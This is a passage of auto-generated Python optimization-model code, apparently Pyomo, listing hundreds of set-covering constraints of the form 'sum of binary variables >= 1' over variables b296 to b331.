Constraint(expr= m.b298 + m.b312 + m.b317 + m.b321 >= 1) m.c1687 = Constraint(expr= m.b298 + m.b311 + m.b330 >= 1) m.c1688 = Constraint(expr= m.b298 + m.b311 + m.b326 + m.b331 >= 1) m.c1689 = Constraint(expr= m.b298 + m.b311 + m.b325 >= 1) m.c1690 = Constraint(expr= m.b298 + m.b311 + m.b321 >= 1) m.c1691 = Constraint(expr= m.b298 + m.b311 + m.b318 + m.b331 >= 1) m.c1692 = Constraint(expr= m.b298 + m.b311 + m.b318 + m.b326 >= 1) m.c1693 = Constraint(expr= m.b298 + m.b311 + m.b318 + m.b321 >= 1) m.c1694 = Constraint(expr= m.b298 + m.b310 + m.b331 >= 1) m.c1695 = Constraint(expr= m.b298 + m.b310 + m.b326 >= 1) m.c1696 = Constraint(expr= m.b298 + m.b310 + m.b321 >= 1) m.c1697 = Constraint(expr= m.b298 + m.b306 + m.b330 >= 1) m.c1698 = Constraint(expr= m.b298 + m.b306 + m.b326 + m.b331 >= 1) m.c1699 = Constraint(expr= m.b298 + m.b306 + m.b325 >= 1) m.c1700 = Constraint(expr= m.b298 + m.b306 + m.b321 >= 1) m.c1701 = Constraint(expr= m.b298 + m.b306 + m.b318 + m.b331 >= 1) m.c1702 = Constraint(expr= m.b298 + m.b306 + m.b318 + m.b326 >= 1) m.c1703 = Constraint(expr= m.b298 + m.b306 + m.b318 + m.b321 >= 1) m.c1704 = Constraint(expr= m.b298 + m.b306 + m.b312 + m.b331 >= 1) m.c1705 = Constraint(expr= m.b298 + m.b306 + m.b312 + m.b326 >= 1) m.c1706 = Constraint(expr= m.b298 + m.b306 + m.b312 + m.b321 >= 1) m.c1707 = Constraint(expr= m.b298 + m.b306 + m.b311 + m.b331 >= 1) m.c1708 = Constraint(expr= m.b298 + m.b306 + m.b311 + m.b326 >= 1) m.c1709 = Constraint(expr= m.b298 + m.b306 + m.b311 + m.b321 >= 1) m.c1710 = Constraint(expr= m.b298 + m.b305 + m.b331 >= 1) m.c1711 = Constraint(expr= m.b298 + m.b305 + m.b326 >= 1) m.c1712 = Constraint(expr= m.b298 + m.b305 + m.b321 >= 1) m.c1713 = Constraint(expr= m.b298 + m.b302 + m.b331 >= 1) m.c1714 = Constraint(expr= m.b298 + m.b302 + m.b326 >= 1) m.c1715 = Constraint(expr= m.b298 + m.b302 + m.b321 >= 1) m.c1716 = Constraint(expr= m.b298 + m.b302 + m.b312 + m.b331 >= 1) m.c1717 = Constraint(expr= m.b298 + m.b302 + m.b312 + m.b326 >= 1) m.c1718 = Constraint(expr= m.b298 + m.b302 + m.b312 + m.b321 >= 1) m.c1719 = Constraint(expr= m.b297 + m.b331 >= 1) m.c1720 = Constraint(expr= m.b297 + m.b326 >= 1) m.c1721 = Constraint(expr= m.b297 + m.b321 >= 1) m.c1722 = Constraint(expr= m.b296 + m.b327 >= 1) m.c1723 = Constraint(expr= m.b296 + m.b326 + m.b328 >= 1) m.c1724 = Constraint(expr= m.b296 + m.b325 + m.b329 >= 1) m.c1725 = Constraint(expr= m.b296 + m.b324 + m.b330 >= 1) m.c1726 = Constraint(expr= m.b296 + m.b323 + m.b331 >= 1) m.c1727 = Constraint(expr= m.b296 + m.b322 >= 1) m.c1728 = Constraint(expr= m.b296 + m.b321 + m.b329 >= 1) m.c1729 = Constraint(expr= m.b296 + m.b321 + m.b326 + m.b330 >= 1) m.c1730 = Constraint(expr= m.b296 + m.b321 + m.b324 >= 1) m.c1731 = Constraint(expr= m.b296 + m.b320 + m.b331 >= 1) m.c1732 = Constraint(expr= m.b296 + m.b320 + m.b326 >= 1) m.c1733 = Constraint(expr= m.b296 + m.b319 >= 1) m.c1734 = Constraint(expr= m.b296 + m.b318 + m.b328 >= 1) m.c1735 = Constraint(expr= m.b296 + m.b318 + m.b325 + m.b329 >= 1) m.c1736 = Constraint(expr= m.b296 + m.b318 + m.b324 + m.b331 >= 1) m.c1737 = Constraint(expr= m.b296 + m.b318 + m.b323 >= 1) m.c1738 = Constraint(expr= m.b296 + m.b318 + m.b321 + m.b329 >= 1) m.c1739 = Constraint(expr= m.b296 + m.b318 + m.b321 + m.b326 + m.b330 >= 1) m.c1740 = Constraint(expr= m.b296 + m.b318 + m.b321 + m.b325 + m.b331 >= 1) m.c1741 = Constraint(expr= m.b296 + m.b318 + m.b321 + m.b324 >= 1) m.c1742 = Constraint(expr= m.b296 + m.b318 + m.b320 >= 1) m.c1743 = Constraint(expr= m.b296 + m.b317 + m.b328 >= 1) m.c1744 = Constraint(expr= m.b296 + m.b317 + m.b326 + m.b329 >= 1) m.c1745 = Constraint(expr= m.b296 + m.b317 + m.b325 + m.b330 >= 1) m.c1746 = Constraint(expr= m.b296 + m.b317 + m.b324 + m.b331 >= 1) m.c1747 = Constraint(expr= m.b296 + m.b317 + m.b323 >= 1) m.c1748 = Constraint(expr= m.b296 + m.b317 + m.b321 + m.b330 >= 1) m.c1749 = Constraint(expr= m.b296 + m.b317 + m.b321 + m.b326 + m.b331 >= 1) m.c1750 = Constraint(expr= m.b296 + m.b317 + m.b321 + m.b325 >= 1) m.c1751 = Constraint(expr= m.b296 + m.b317 + m.b320 >= 1) m.c1752 = Constraint(expr= m.b296 + m.b316 + m.b329 >= 1) m.c1753 = Constraint(expr= m.b296 + m.b316 + m.b326 + m.b330 >= 1) m.c1754 = Constraint(expr= m.b296 + m.b316 + m.b325 + m.b331 >= 1) m.c1755 = Constraint(expr= m.b296 + m.b316 + m.b324 >= 1) m.c1756 = Constraint(expr= m.b296 + m.b316 + m.b321 + m.b331 >= 1) m.c1757 = Constraint(expr= m.b296 + m.b316 + m.b321 + m.b326 >= 1) m.c1758 = Constraint(expr= m.b296 + m.b316 + m.b320 >= 1) m.c1759 = Constraint(expr= m.b296 + m.b315 + m.b330 >= 1) m.c1760 = Constraint(expr= m.b296 + m.b315 + m.b326 + m.b331 >= 1) m.c1761 = Constraint(expr= m.b296 + m.b315 + m.b325 >= 1) m.c1762 = Constraint(expr= m.b296 + m.b315 + m.b321 >= 1) m.c1763 = Constraint(expr= m.b296 + m.b314 + m.b331 >= 1) m.c1764 = Constraint(expr= m.b296 + m.b314 + m.b326 >= 1) m.c1765 = Constraint(expr= m.b296 + m.b314 + m.b321 >= 1) m.c1766 = Constraint(expr= m.b296 + m.b312 + m.b328 >= 1) m.c1767 = Constraint(expr= m.b296 + m.b312 + m.b325 + m.b329 >= 1) m.c1768 = Constraint(expr= m.b296 + m.b312 + m.b324 + m.b330 >= 1) m.c1769 = Constraint(expr= m.b296 + m.b312 + m.b323 >= 1) m.c1770 = Constraint(expr= m.b296 + m.b312 + m.b321 + m.b329 >= 1) m.c1771 = Constraint(expr= m.b296 + m.b312 + m.b321 + m.b326 + m.b330 >= 1) m.c1772 = Constraint(expr= m.b296 + m.b312 + m.b321 + m.b325 + m.b331 >= 1) m.c1773 = Constraint(expr= m.b296 + m.b312 + m.b321 + m.b324 >= 1) m.c1774 = Constraint(expr= m.b296 + m.b312 + m.b320 >= 1) m.c1775 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b328 >= 1) m.c1776 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b326 + m.b329 >= 1) m.c1777 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b325 + m.b330 >= 1) m.c1778 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b324 + m.b331 >= 1) m.c1779 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b323 >= 1) m.c1780 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b321 + m.b330 >= 1) m.c1781 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c1782 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b321 + m.b325 >= 1) m.c1783 = Constraint(expr= m.b296 + m.b312 + m.b318 + m.b320 >= 1) m.c1784 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b329 >= 1) m.c1785 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b326 + m.b330 >= 1) m.c1786 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b325 + m.b331 >= 1) m.c1787 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b324 >= 1) m.c1788 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b321 + m.b331 >= 1) m.c1789 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b321 + m.b326 >= 1) m.c1790 = Constraint(expr= m.b296 + m.b312 + m.b317 + m.b320 >= 1) m.c1791 = Constraint(expr= m.b296 + m.b312 + m.b316 + m.b330 >= 1) m.c1792 = Constraint(expr= m.b296 + m.b312 + m.b316 + m.b326 + m.b331 >= 1) m.c1793 = Constraint(expr= m.b296 + m.b312 + m.b316 + m.b325 >= 1) m.c1794 = Constraint(expr= m.b296 + m.b312 + m.b316 + m.b321 >= 1) m.c1795 = Constraint(expr= m.b296 + m.b312 + m.b315 + m.b331 >= 1) m.c1796 = Constraint(expr= m.b296 + m.b312 + m.b315 + m.b326 >= 1) m.c1797 = Constraint(expr= m.b296 + m.b312 + m.b315 + m.b321 >= 1) m.c1798 = Constraint(expr= m.b296 + m.b312 + m.b314 + m.b331 >= 1) m.c1799 = Constraint(expr= m.b296 + m.b312 + m.b314 + m.b326 >= 1) m.c1800 = Constraint(expr= m.b296 + m.b312 + m.b314 + m.b321 >= 1) m.c1801 = Constraint(expr= m.b296 + m.b311 + m.b328 >= 1) m.c1802 = Constraint(expr= m.b296 + m.b311 + m.b326 + m.b329 >= 1) m.c1803 = Constraint(expr= m.b296 + m.b311 + m.b325 + m.b330 >= 1) m.c1804 = Constraint(expr= m.b296 + m.b311 + m.b324 + m.b331 >= 1) m.c1805 = Constraint(expr= m.b296 + m.b311 + m.b323 >= 1) m.c1806 = Constraint(expr= m.b296 + m.b311 + m.b321 + m.b330 >= 1) m.c1807 = Constraint(expr= m.b296 + m.b311 + m.b321 + m.b326 + m.b331 >= 1) m.c1808 = Constraint(expr= m.b296 + m.b311 + m.b321 + m.b325 >= 1) m.c1809 = Constraint(expr= m.b296 + m.b311 + m.b320 >= 1) m.c1810 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b329 >= 1) m.c1811 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b326 + m.b330 >= 1) m.c1812 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b325 + m.b331 >= 1) m.c1813 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b324 >= 1) m.c1814 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b321 + m.b331 >= 1) m.c1815 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b321 + m.b326 >= 1) m.c1816 = Constraint(expr= m.b296 + m.b311 + m.b318 + m.b320 >= 1) m.c1817 = Constraint(expr= m.b296 + m.b311 + m.b317 + m.b330 >= 1) m.c1818 = Constraint(expr= m.b296 + m.b311 + m.b317 + m.b326 + m.b331 >= 1) m.c1819 = Constraint(expr= m.b296 + m.b311 + m.b317 + m.b325 >= 1) m.c1820 = Constraint(expr= m.b296 + m.b311 + m.b317 + m.b321 >= 1) m.c1821 = Constraint(expr= m.b296 + m.b311 + m.b316 + m.b331 >= 1) m.c1822 = Constraint(expr= m.b296 + m.b311 + m.b316 + m.b326 >= 1) m.c1823 = Constraint(expr= m.b296 + m.b311 + m.b316 + m.b321 >= 1) m.c1824 = Constraint(expr= m.b296 + m.b311 + m.b315 + m.b331 >= 1) m.c1825 = Constraint(expr= m.b296 + m.b311 + m.b315 + m.b326 >= 1) m.c1826 = Constraint(expr= m.b296 + m.b311 + m.b315 + m.b321 >= 1) m.c1827 = Constraint(expr= m.b296 + m.b310 + m.b329 >= 1) m.c1828 = Constraint(expr= m.b296 + m.b310 + m.b326 + m.b330 >= 1) m.c1829 = Constraint(expr= m.b296 + m.b310 + m.b325 + m.b331 >= 1) m.c1830 = Constraint(expr= m.b296 + m.b310 + m.b324 >= 1) m.c1831 = Constraint(expr= m.b296 + m.b310 + m.b321 + m.b331 >= 1) m.c1832 = Constraint(expr= m.b296 + m.b310 + m.b321 + m.b326 >= 1) m.c1833 = Constraint(expr= m.b296 + m.b310 + m.b320 >= 1) m.c1834 = Constraint(expr= m.b296 + m.b310 + m.b318 + m.b330 >= 1) m.c1835 = Constraint(expr= m.b296 + m.b310 + m.b318 + m.b326 + m.b331 >= 1) m.c1836 = Constraint(expr= m.b296 + m.b310 + m.b318 + m.b325 >= 1) m.c1837 = Constraint(expr= m.b296 + m.b310 + m.b318 + m.b321 >= 1) m.c1838 = Constraint(expr= m.b296 + m.b310 + m.b317 + m.b331 >= 1) m.c1839 = Constraint(expr= m.b296 + m.b310 + m.b317 + m.b326 >= 1) m.c1840 = Constraint(expr= m.b296 + m.b310 + m.b317 + m.b321 >= 1) m.c1841 = Constraint(expr= m.b296 + m.b310 + m.b316 + m.b331 >= 1) m.c1842 = Constraint(expr= m.b296 + m.b310 + m.b316 + m.b326 >= 1) m.c1843 = Constraint(expr= m.b296 + m.b310 + m.b316 + m.b321 >= 1) m.c1844 = Constraint(expr= m.b296 + m.b309 + m.b330 >= 1) m.c1845 = Constraint(expr= m.b296 + m.b309 + m.b326 + m.b331 >= 1) m.c1846 = Constraint(expr= m.b296 + m.b309 + m.b325 >= 1) m.c1847 = Constraint(expr= m.b296 + m.b309 + m.b321 >= 1) m.c1848 = Constraint(expr= m.b296 + m.b309 + m.b318 + m.b331 >= 1) m.c1849 = Constraint(expr= m.b296 + m.b309 + m.b318 + m.b326 >= 1) m.c1850 = Constraint(expr= m.b296 + m.b309 + m.b318 + m.b321 >= 1) m.c1851 = Constraint(expr= m.b296 + m.b309 + m.b317 + m.b331 >= 1) m.c1852 = Constraint(expr= m.b296 + m.b309 + m.b317 + m.b326 >= 1) m.c1853 = Constraint(expr= m.b296 + m.b309 + m.b317 + m.b321 >= 1) m.c1854 = Constraint(expr= m.b296 + m.b308 + m.b331 >= 1) m.c1855 = Constraint(expr= m.b296 + m.b308 + m.b326 >= 1) m.c1856 = Constraint(expr= m.b296 + m.b308 + m.b321 >= 1) m.c1857 = Constraint(expr= m.b296 + m.b306 + m.b328 >= 1) m.c1858 = Constraint(expr= m.b296 + m.b306 + m.b326 + m.b329 >= 1) m.c1859 = Constraint(expr= m.b296 + m.b306 + m.b325 + m.b330 >= 1) m.c1860 = Constraint(expr= m.b296 + m.b306 + m.b324 + m.b331 >= 1) m.c1861 = Constraint(expr= m.b296 + m.b306 + m.b323 >= 1) m.c1862 = Constraint(expr= m.b296 + m.b306 + m.b321 + m.b330 >= 1) m.c1863 = Constraint(expr= m.b296 + m.b306 + m.b321 + m.b326 + m.b331 >= 1) m.c1864 = Constraint(expr= m.b296 + m.b306 + m.b321 + m.b325 >= 1) m.c1865 = Constraint(expr= m.b296 + m.b306 + m.b320 >= 1) m.c1866 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b329 >= 1) m.c1867 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b326 + m.b330 >= 1) m.c1868 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b325 + m.b331 >= 1) m.c1869 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b324 >= 1) m.c1870 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b321 + m.b331 >= 1) m.c1871 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b321 + m.b326 >= 1) m.c1872 = Constraint(expr= m.b296 + m.b306 + m.b318 + m.b320 >= 1) m.c1873 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b329 >= 1) m.c1874 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b326 + m.b330 >= 1) m.c1875 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b325 + m.b331 >= 1) m.c1876 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b324 >= 1) m.c1877 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b321 + m.b331 >= 1) m.c1878 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b321 + m.b326 >= 1) m.c1879 = Constraint(expr= m.b296 + m.b306 + m.b317 + m.b320 >= 1) m.c1880 = Constraint(expr= m.b296 + m.b306 + m.b316 + m.b330 >= 1) m.c1881 = Constraint(expr= m.b296 + m.b306 + m.b316 + m.b326 + m.b331 >= 1) m.c1882 = Constraint(expr= m.b296 + m.b306 + m.b316 + m.b325 >= 1) m.c1883 = Constraint(expr= m.b296 + m.b306 + m.b316 + m.b321 >= 1) m.c1884 = Constraint(expr= m.b296 + m.b306 + m.b315 + m.b331 >= 1) m.c1885 = Constraint(expr= m.b296 + m.b306 + m.b315 + m.b326 >= 1) m.c1886 = Constraint(expr= m.b296 + m.b306 + m.b315 + m.b321 >= 1) m.c1887 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b329 >= 1) m.c1888 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b326 + m.b330 >= 1) m.c1889 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b325 + m.b331 >= 1) m.c1890 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b324 >= 1) m.c1891 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b321 + m.b331 >= 1) m.c1892 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b321 + m.b326 >= 1) m.c1893 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b320 >= 1) m.c1894 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b318 + m.b329 >= 1) m.c1895 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b318 + m.b326 + m.b330 >= 1) m.c1896 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b318 + m.b325 >= 1) m.c1897 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b318 + m.b321 >= 1) m.c1898 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b317 + m.b330 >= 1) m.c1899 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b317 + m.b326 + m.b331 >= 1) m.c1900 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b317 + m.b325 >= 1) m.c1901 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b317 + m.b321 >= 1) m.c1902 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b316 + m.b331 >= 1) m.c1903 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b316 + m.b326 >= 1) m.c1904 = Constraint(expr= m.b296 + m.b306 + m.b312 + m.b316 + m.b321 >= 1) m.c1905 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b329 >= 1) m.c1906 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b326 + m.b330 >= 1) m.c1907 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b325 + m.b331 >= 1) m.c1908 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b324 >= 1) m.c1909 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b321 + m.b331 >= 1) m.c1910 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b321 + m.b326 >= 1) m.c1911 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b320 >= 1) m.c1912 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b318 + m.b330 >= 1) m.c1913 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b318 + m.b326 + m.b331 >= 1) m.c1914 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b318 + m.b325 >= 1) m.c1915 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b318 + m.b321 >= 1) m.c1916 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b317 + m.b331 >= 1) m.c1917 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b317 + m.b326 >= 1) m.c1918 = Constraint(expr= m.b296 + m.b306 + m.b311 + m.b317 + m.b321 >= 1) m.c1919 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b330 >= 1) m.c1920 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b326 + m.b331 >= 1) m.c1921 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b325 >= 1) m.c1922 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b321 >= 1) m.c1923 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b318 + m.b331 >= 1) m.c1924 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b318 + m.b326 >= 1) m.c1925 = Constraint(expr= m.b296 + m.b306 + m.b310 + m.b318 + m.b321 >= 1) m.c1926 = Constraint(expr= m.b296 + m.b306 + m.b309 + m.b331 >= 1) m.c1927 = Constraint(expr= m.b296 + m.b306 + m.b309 + m.b326 >= 1) m.c1928 = Constraint(expr= m.b296 + m.b306 + m.b309 + m.b321 >= 1) m.c1929 = Constraint(expr= m.b296 + m.b305 + m.b329 >= 1) m.c1930 = Constraint(expr= m.b296 + m.b305 + m.b326 + m.b330 >= 1) m.c1931 = Constraint(expr= m.b296 + m.b305 + m.b325 + m.b331 >= 1) m.c1932 = Constraint(expr= m.b296 + m.b305 + m.b324 >= 1) m.c1933 = Constraint(expr= m.b296 + m.b305 + m.b321 + m.b331 >= 1) m.c1934 = Constraint(expr= m.b296 + m.b305 + m.b321 + m.b326 >= 1) m.c1935 = Constraint(expr= m.b296 + m.b305 + m.b320 >= 1) m.c1936 = Constraint(expr= m.b296 + m.b305 + m.b318 + m.b330 >= 1) m.c1937 = Constraint(expr= m.b296 + m.b305 + m.b318 + m.b326 + m.b331 >= 1) m.c1938 = Constraint(expr= m.b296 + m.b305 + m.b318 + m.b325 >= 1) m.c1939 = Constraint(expr= m.b296 + m.b305 + m.b318 + m.b321 >= 1) m.c1940 = Constraint(expr= m.b296 + m.b305 + m.b317 + m.b331 >= 1) m.c1941 = Constraint(expr= m.b296 + m.b305 + m.b317 + m.b326 >= 1) m.c1942 = Constraint(expr= m.b296 + m.b305 + m.b317 + m.b321 >= 1) m.c1943 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b330 >= 1) m.c1944 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b326 + m.b331 >= 1) m.c1945 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b325 >= 1) m.c1946 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b321 >= 1) m.c1947 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b318 + m.b331 >= 1) m.c1948 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b318 + m.b326 >= 1) m.c1949 = Constraint(expr= m.b296 + m.b305 + m.b312 + m.b318 + m.b321 >= 1) m.c1950 = Constraint(expr= m.b296 + m.b305 + m.b311 + m.b331 >= 1) m.c1951 = Constraint(expr= m.b296 + m.b305 + m.b311 + m.b326 >= 1) m.c1952 = Constraint(expr= m.b296 + m.b305 + m.b311 + m.b321 >= 1) m.c1953 = Constraint(expr= m.b296 + m.b304 + m.b331 >= 1) m.c1954 = Constraint(expr= m.b296 + m.b304 + m.b326 >= 1) m.c1955 = Constraint(expr= m.b296 + m.b304 + m.b321 >= 1) m.c1956 = Constraint(expr= m.b296 + m.b304 + m.b312 + m.b331 >= 1) m.c1957 = Constraint(expr= m.b296 + m.b304 + m.b312 + m.b326 >= 1) m.c1958 = Constraint(expr= m.b296 + m.b304 + m.b312 + m.b321 >= 1) m.c1959 = Constraint(expr= m.b296 + m.b302 + m.b329 >= 1) m.c1960 = Constraint(expr= m.b296 + m.b302 + m.b325 + m.b330 >= 1) m.c1961 = Constraint(expr= m.b296 + m.b302 + m.b324 >= 1) m.c1962 = Constraint(expr= m.b296 + m.b302 + m.b321 + m.b330 >= 1) m.c1963 = Constraint(expr= m.b296 + m.b302 + m.b321 + m.b326 + m.b331 >= 1) m.c1964 = Constraint(expr= m.b296 + m.b302 + m.b321 + m.b325 >= 1) m.c1965 = Constraint(expr= m.b296 + m.b302 + m.b320 >= 1) m.c1966 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b329 >= 1) m.c1967 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b326 + m.b330 >= 1) m.c1968 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b325 + m.b331 >= 1) m.c1969 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b324 >= 1) m.c1970 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b321 + m.b331 >= 1) m.c1971 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b321 + m.b326 >= 1) m.c1972 = Constraint(expr= m.b296 + m.b302 + m.b318 + m.b320 >= 1) m.c1973 = Constraint(expr= m.b296 + m.b302 + m.b317 + m.b330 >= 1) m.c1974 = Constraint(expr= m.b296 + m.b302 + m.b317 + m.b326 + m.b331 >= 1) m.c1975 = Constraint(expr= m.b296 + m.b302 + m.b317 + m.b325 >= 1) m.c1976 = Constraint(expr= m.b296 + m.b302 + m.b317 + m.b321 >= 1) m.c1977 = Constraint(expr= m.b296 + m.b302 + m.b316 + m.b331 >= 1) m.c1978 = Constraint(expr= m.b296 + m.b302 + m.b316 + m.b326 >= 1) m.c1979 = Constraint(expr= m.b296 + m.b302 + m.b316 + m.b321 >= 1) m.c1980 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b329 >= 1) m.c1981 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b326 + m.b330 >= 1) m.c1982 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b325 + m.b331 >= 1) m.c1983 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b324 >= 1) m.c1984 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b321 + m.b331 >= 1) m.c1985 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b321 + m.b326 >= 1) m.c1986 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b320 >= 1) m.c1987 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b318 + m.b330 >= 1) m.c1988 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b318 + m.b326 + m.b331 >= 1) m.c1989 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b318 + m.b325 >= 1) m.c1990 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b318 + m.b321 >= 1) m.c1991 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b317 + m.b331 >= 1) m.c1992 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b317 + m.b326 >= 1) m.c1993 = Constraint(expr= m.b296 + m.b302 + m.b312 + m.b317 + m.b321 >= 1) m.c1994 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b330 >= 1) m.c1995 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b326 + m.b331 >= 1) m.c1996 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b325 >= 1) m.c1997 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b321 >= 1) m.c1998 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b318 + m.b331 >= 1) m.c1999 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b318 + m.b326 >= 1) m.c2000 = Constraint(expr= m.b296 + m.b302 + m.b311 + m.b318 + m.b321 >= 1) m.c2001 = Constraint(expr= m.b296 + m.b302 + m.b310 + m.b331 >= 1) m.c2002 = Constraint(expr= m.b296 + m.b302 + m.b310 + m.b326 >= 1) m.c2003 = Constraint(expr= m.b296 + m.b302 + m.b310 + m.b321 >= 1) m.c2004 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b330 >= 1) m.c2005 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b326 + m.b331 >= 1) m.c2006 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b325 >= 1) m.c2007 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b321 >= 1) m.c2008 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b318 + m.b331 >= 1) m.c2009 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b318 + m.b326 >= 1) m.c2010 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b318 + m.b321 >= 1) m.c2011 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b317 + m.b331 >= 1) m.c2012 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b317 + m.b326 >= 1) m.c2013 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b317 + m.b321 >= 1) m.c2014 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b331 >= 1) m.c2015 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b326 >= 1) m.c2016 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b321 >= 1) m.c2017 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b318 + m.b331 >= 1) m.c2018 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b318 + m.b326 >= 1) m.c2019 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b312 + m.b318 + m.b321 >= 1) m.c2020 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b311 + m.b331 >= 1) m.c2021 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b311 + m.b326 >= 1) m.c2022 = Constraint(expr= m.b296 + m.b302 + m.b306 + m.b311 + m.b321 >= 1) m.c2023 = Constraint(expr= m.b296 + m.b302 + m.b305 + m.b331 >= 1) m.c2024 = Constraint(expr= m.b296 + m.b302 + m.b305 + m.b326 >= 1) m.c2025 = Constraint(expr= m.b296 + m.b302 + m.b305 + m.b321 >= 1) m.c2026 = Constraint(expr= m.b296 + m.b301 + m.b331 >= 1) m.c2027 = Constraint(expr= m.b296 + m.b301 + m.b326 >= 1) m.c2028 = Constraint(expr= m.b296 + m.b301 + m.b321 >= 1) m.c2029 = Constraint(expr= m.b296 + m.b299 + m.b329 >= 1) m.c2030 = Constraint(expr= m.b296 + 